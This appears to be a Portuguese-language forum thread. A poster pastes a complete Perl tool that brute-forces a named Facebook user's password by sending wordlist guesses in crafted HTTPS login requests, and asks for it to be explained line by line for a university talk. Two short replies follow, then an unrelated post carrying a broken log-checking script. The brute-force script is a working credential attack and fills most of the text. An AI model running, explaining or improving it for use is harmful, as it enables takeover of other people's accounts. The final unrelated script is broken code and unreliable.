Perl Entender Script Perl

[theskynet]

Boa noite galera. gostaria de entender como esse script perl funciona ,é o famoso forcebrute que usa uma wordlist e testa senhas para facebook; eu queria comentarios em cada linha do código se possivel , aqui segue o código .

#!/usr/bin/perl
#
# Bruteforce-Facebook
#
# Description:
# Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
#
# Usage:
# perl Imad'Ox-Bruter.pl login wordlist
# login could be either a user's email address or profile name
#
# Module Requirements:
#
# Install module if missing:
# perl -MCPAN -e 'install Net::SSLeay'
#
# Demo:
# perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst
#
# --- Imad'Ox-Bruter Facebook password cracking tool
# --- By Imad'Ox Hunter
# --- Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
#
# [+] Cracking Facebooklogin@facebook.com ...
#
# [-] test -> Failed
# [-] test123 -> Failed
# [-] testtest -> Failed
# [-] testest123 -> Failed
# [-] qwerty -> Failed
# [-] azerty -> Failed
# [-] password -> Failed
# [-] password123 -> Failed
#
################################################## ######
# [+] CRACKED! Your password is P@$$W0RD
################################################## ######
#

use strict;
use Net::SSLeay::Handle;

if(!defined($ARGV[0] && $ARGV[1])) {

system('clear');
print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
print "+++ Coded by Imad'Ox-Hunter\n";
print "+++ www.fb.com/imad.elouajib\n\n";
print "+++ Usage: perl $0 login wordlist\n\n";
exit; }

my $user = $ARGV[0];
my $wordlist = $ARGV[1];

open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";

print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
print "+++ Coded by Imad'Ox-Hunter\n";
print "+++ www.fb.com/imad.elouajib\n";
print "\n[+] Now Cracking $user ...\n\n";

while (my $password = <LIST>) {
chomp ($password);
$password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;

my $a = "POST /login.php HTTP/1.1";
my $b = "Host: www.facebook.com";
my $c = "Connection: close";
my $e = "Cache-Control: max-age=0";
my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
my $g = "Origin: https://www.facebook.com";
my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
my $i = "Content-Type: application/x-www-form-urlencoded";
my $j = "Accept-Encoding: gzip,deflate,sdch";
my $k = "Accept-Language: en-US,en;q=0.8";
my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";

my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&le gacy_return=1&next=&profile_selector_ids=&trynum=1 &timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470& email=$user&pass=$password&default_persistent=0&lo gin=Log+In";
my $cl = length($post);
my $d = "Content-Length: $cl";


my ($host, $port) = ("www.facebook.com", 443);

tie(*SSL, "Net::SSLeay::Handle", $host, $port);


print SSL "$a\n";
print SSL "$b\n";
print SSL "$c\n";
print SSL "$d\n";
print SSL "$e\n";
print SSL "$f\n";
print SSL "$g\n";
print SSL "$h\n";
print SSL "$i\n";
print SSL "$j\n";
print SSL "$k\n";
print SSL "$l\n";
print SSL "$cookie\n\n";

print SSL "$post\n";

my $success;
while(my $result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print "[-] $password -> Not Him \n";
close SSL;
}
else
{
print "\n############################################### #########\n";
print "[+] Yuuup!! Pass Cracked => Pass is $password \n";
print "################################################# #######\n\n";
close SSL;
exit;
}
}




ja testei funciona certinho , mas eu quero mesmo é entender o que acontece em cada linha, vou apresentar sobre o tema perl na minha universidade e achei legal comentar essa força da linguagem.

[Radicalzinho]

Cara, dificilmente alguém vai fazer isso para você de graça. Eu não entendo nada de perl, mas o pouco que eu vi desse script é mto simples você estudar, é só usar da paciência e da pesquisa quando encontrar algum comando novo.

[Lipzz]

Se voce souber programar no mínimo em uma linguagem, voce sabe o que isso faz. Se nao, nao adianta te explicar

[Tommyafrc]

Entender Script Perl

Hey guys, Im new to the forum and to Perl and looking for some help. Im a "shade tree programmer", have some experience here and there with other types of scripts.

Im trying to write a perl script to look at a log file for a particular line "Total TestCases: 7 0 failed". If this doesnt exist meaning I have more than 0 failed, I want it to email me stating "test xyz failed".

I havent made it far...have this, and its not even close. Oh and its on a windows machine using ActivePerl.

#C:Perl64binperl

open LOGFILE, CALQADALQAReport.txt;

while <LOGFILE>
chomp;
print "_n";;

close LOGFILE;